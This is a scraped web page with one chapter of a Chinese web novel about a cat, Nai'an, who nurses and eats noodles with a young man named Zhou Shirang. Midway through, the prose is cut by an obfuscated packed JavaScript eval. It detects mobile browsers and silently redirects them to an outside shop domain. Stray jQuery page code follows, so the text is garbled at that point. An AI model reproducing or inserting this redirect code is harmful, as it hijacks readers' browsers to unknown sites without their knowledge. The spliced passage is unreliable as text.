文趣网 > 其他小说 > 猫的地盘里没有野人 > 7. 猫和人
    她一下子充满力量。

    养人真是不容易啊。

    奈安给自己打气,难得天下主猫心。

    终于,奈安在杂物间打翻了一个放在桌子上的医药箱,并从倾倒的药物中精准地看到了退烧药。

    奈安叼了退烧药就想过去,但又觉得这样是不是有点太明显了。

    犹豫了一会,还是装模作样得先叼了旁边的一包医用绷带拿过去,完全没想到其实一只猫能够正确认识医用绷带也是一件很奇怪的事情。

    等到把医药箱里的东西一点一单全部叼了过去,奈安最最最最后再带着退烧药一路跑到周时让面前。

    把药放下,拿爪子往周时让的腿前推了推。

    “来,吃吧。”奈安骄傲得挺着胸脯。

    周时让从沙发上站起来,蹲在了沙发前面,与奈安面对面。

    他看着前面一堆散落的药,随意捡起一包过敏药晃了晃。

    周时让:“让我吃这个吗?”

    奈安一下瞪大了眼睛,连着说了好几声“不是。”

    也顾不上隐藏了,用爪子把退烧药再往前推了推,就差直接把药塞进周时让手里了。

    周时让从善如流地拿起退烧药,问:“吃这个吗?”

    “对!”周奈安大松一口气。

    还以为自己养的人真的被烧傻了,看来基本的认知程度还行。

    见周时让盯着自己一副深思的表情,也不知道再想什么。

    也不动,就这样一直盯着看。

    奈安有点着急。

    她直接上嘴,扯着周时让的裤脚站了起来,拽着人往刚刚看见的饮水机走。

    等到周时让总算倒了水,把退烧药吃下去,奈安才真真切切安下心来。

    此次行动圆满成功。

    疲惫随着放心而一下子涌上来。

    奈安趴在桌子上,一动不动地盯着周时让,眼睛都睁不开了,脑袋和耳朵还顽强得向周时让立着。

    周时让刚一把手放过去,奈安立即倒在他的手心里睡着了。

    好久不见的味道包裹着奈安,她无比的心安,下意识用手抱住了周时让的手臂,脑袋蹭了蹭手心。

    周时让被毛挠得心痒痒。

    不舍得把手放开,只好用另一只手将奈安完整地抱进了怀里。

    一人一猫窝进了沙发。

    周时让头上的温度渐渐退下去了,身上的冰冷也被小猫的体温感染而渐渐退散。

    看了一眼睡得又香又沉的奈安,拿旁边的小被子盖住了小猫肚腩。

    周时让喃喃自语:“你到底是什么呢?”

    顿了一会,又说:“什么都好,只要在我身边就行了。”

    *

    咖啡馆。

    兼职生姐姐尽职尽责地给所有的小动物们放饭,看了一圈也没看见平常最积极的奈安。

    不过她想了想,觉得可能奈安是凑去谭贤之的办公室吃饭了。

    奈安平常就不爱吃猫粮,只有吃小零食的时候积极,有的时候为了逃避猫粮,会硬要谭贤之带着自己一起吃人饭。

    谭贤之没办法,半推半就和奈安一起吃没盐没油的健康餐。

    这次估计也是。

    等到喂完其他宠物,兼职生姐姐来到谭贤之办公室准备下班。

    她进去打了个招呼,也没看见奈安的身影,随口问道:“奈安吃完走了吗?我都没看见她。”

    “嗯,确实是走了。”谭贤之不大惊讶,优雅享用终于能够不用跟奈安斗智斗勇地吃完的完整一餐。

    他说:“以后不用准备奈安的东西了,她应该已经找到人了。”

    兼职生姐姐一脸疑惑:“啊?”

    谭贤之所说的确实没错,奈安一觉醒来,发现自己乖乖巧巧躺在周时让的床上。

    身上的被子和头下的枕头异常软和,四周都是周时让身上淡淡的香,怀里还塞了一个不知道周时让从哪里掏出来的小鱼玩偶。

    奈安睡得懵了神,盯着天花板好一会儿才反应过来。

    从房间里走出去,下楼,看见周时让在厨房里忙忙碌碌煮饭的身影。

    奈安猫猫祟祟藏在后面,从上到下打量着周时让。

    头发刚刚洗过,顺溜地搭在额头前,底下是铺着乌青的眼睛,一次性口罩已经取了下来,周时让嘴微微抿着。

    好像每次看见周时让一个人的时候都是这样。

    活死人样。

    就像灯是黄的,面条的汤是浓的,他身上好像总是带着水蒸气,给想要接触他的人烫走,余下的自己什么都没有。

    真是不讨喜的孩子啊。

    奈安撇撇嘴,一个后撤步,连跑带跳直直踩着周时让的大腿,顺着背,爬到了周时让的头顶上。

    周时让:“?”

    他的头被猫的重力狠狠带了一下,脸上半是无语,半是无奈。

    周时让抬了抬脖子,手里的动作都不停:“下来,要摔了。”

    奈安偏不。

    只是稍微下来了点,立在了周时让的肩膀上。

    头靠了过去,奈安闻着味道:“你煮的面条好香!”

    头越伸越长,一个不平衡,差点整个掉到汤里面去。

    还是靠周时让猛地一台肩膀,把奈安救了回来。

    下意识伸出来的指甲勾进周时让的睡衣里,抠出来一个洞。

    周时让看了一眼闯了祸之后心虚地藏在自己颈窝里一动不动的奈安。

    只有尾巴忍不住,从周时让的胸脯扫到后背,划过手臂,又弯上去勾勾他的下巴。

    从来没有穿过破烂衣服的周少爷抖了抖肩膀:“是在给我下马威吗,小奈安。”

    他说:“衣服都被你勾破了。”

    话说如此,周时让也不舍得把猫放下去。

    一个没想着道歉,一个没想要道歉。

    一人一猫就这样维持着一个诡异的姿势把面条装了出来。

    本来装了一个大碗都是他的,但看奈安口水都要掉出来了,又拿了一个装水果的小碗出来,挑出来一点给奈安吃。

    刚好刚刚在网上下单的猫粮现在也还没有到。

    奈安见周时让果然没有责怪自己的样子,若无其事地抬起头,就当事情过去了。

    手严防死守得盖在破洞上,在周时让的键盘上落下一个暖烘烘的猫爪印。

    后头的尾巴晃更勤了。

    奈安:“这小碗肯定是给我的吧,对吧对吧。”

    她蹭了蹭周时让的下巴:“人,我果然没有白心疼你。”

    “你这碗比谭贤之的面条闻着好吃多了,你都不知道······”

    周时让右耳朵嗡嗡的,略去800字奈安对于谭贤之怪异口味的全方位批判。

    他不置可否,倒是第一次知道自己原来做饭是算好吃那一类的。

    奈安讲得天花乱坠、口干舌燥,生怕周时让没听懂自己这些天肚子的委屈。

    说着说着又转移了注意力,滔滔不绝地从土松圆圆讲到小布偶。

    一打岔,又飘去了谭贤之和院

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888206|212644||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    中边牧不可说的二三事。

    周时让一边听着一边微微点头应声,在心里默默把谭贤之划去了有用但最好不用人士的区域。

    他走到桌前低下肩膀,让奈安顺着跳到餐桌上。

    奈安的嘴还没有讲完兼职生姐姐大秀厨艺,谭贤之立马将其招聘的故事,眼睛和嘴巴滴溜溜地就被周时让推过来的小碗面条勾走了。

    “呜呜呜,好香,真的好香。”奈安快被香哭了,脑袋一埋,就猛地叼起一坨面条吃进嘴里。

    一边吃一边嘴里嘟囔:“你都不知道我有多久没有吃过面条了。”

    “变成两个月的小猫之后,他们什么都不让我吃。”

    “我好不容易才长大的!”

    “痛苦(嚼嚼嚼),太痛苦了(嚼嚼嚼)。”奈安头也不抬。

    周时让拿着两双筷子,站在旁边看。

    “变成”两个月的小猫吗。

    看来要么是大猫变小猫,要么是大人变小猫了。

    他看着看着,无声地笑起来:“嗯,慢点吃。”

    把原本给奈安准备好的筷子放在一边,自己也坐下。

    挑起一筷子面条放在嘴里,还是清水面一贯的寡淡无味。

    甚至因为要给奈安吃,除了面条和水什么都没放。

    周时让忍不住问:“就这么好吃吗?”

    奈安吃得昏天暗地,嘴巴沾了一圈汤,迷迷糊糊抬起头来:“啊?”

    周时让扯了纸巾擦掉奈安脸上的汤汁:“没事,你吃吧。”

    “哦哦哦。”奈安于是一刻犹豫也没有,继续埋头干饭。

    周时让又盯了一会。

    鬼差神使地伸出筷子在奈安的碗里挑了一些面条吃掉。

    好像是好吃一点。

    奈安炸毛:“你干嘛......”

    周时让理直气壮地胡扯:“你是小猫,不能多吃。”

    奈安气鼓鼓转身不理人了,尾巴有一下没一下地甩着桌子。

    可爱。

    周时让面不改色地从嘴巴里吐出一根猫毛。

    吃完饭本来应该犯困的,但奈安刚刚睡饱一觉醒来,现在浑身上下有的是力气。

    本来要探索领地,刚一出发,又被后面洗完碗的周时让抱起来。

    “人,我知道你很好,但我要走路。”奈安扭着身子要下来。

    周时让没抓住,让奈安顺着自己的手滑下来。

    他也没多纠结,只是蹲在奈安面前解释:“这不是我的房子。”

    周时让说:“如果弄坏了什么,记得及时跟我说。”

    “什么?!”奈安震惊。

    “人!你都没有自己的房子。”

    奈安一下子同情起来,并选择性地忽略了后面关于她“搞砸”的发言。

    怪不得这里一个人都没有,自己生病也只能躺在床上苦等病好。

    奈安脑子里闪过一系列不知道什么时候看过的悲惨案例。

    破碎的家庭,悲惨的他。

    太可怜了。

    奈安已经沉浸在自己的想象里不可自拔。

    她安慰般主动走进周时让怀里,蹭了蹭他的胸脯。

    周时让刚想解释的话被奈安的动作堵在喉咙里。

    嘴巴张了又张,还是没说。

    只是享受。

    “没事,我会陪你的。”奈安说。

    “嗯。”

    一直陪着我吧。

    做不到你就完蛋了。

    周时让在心里默默补充道。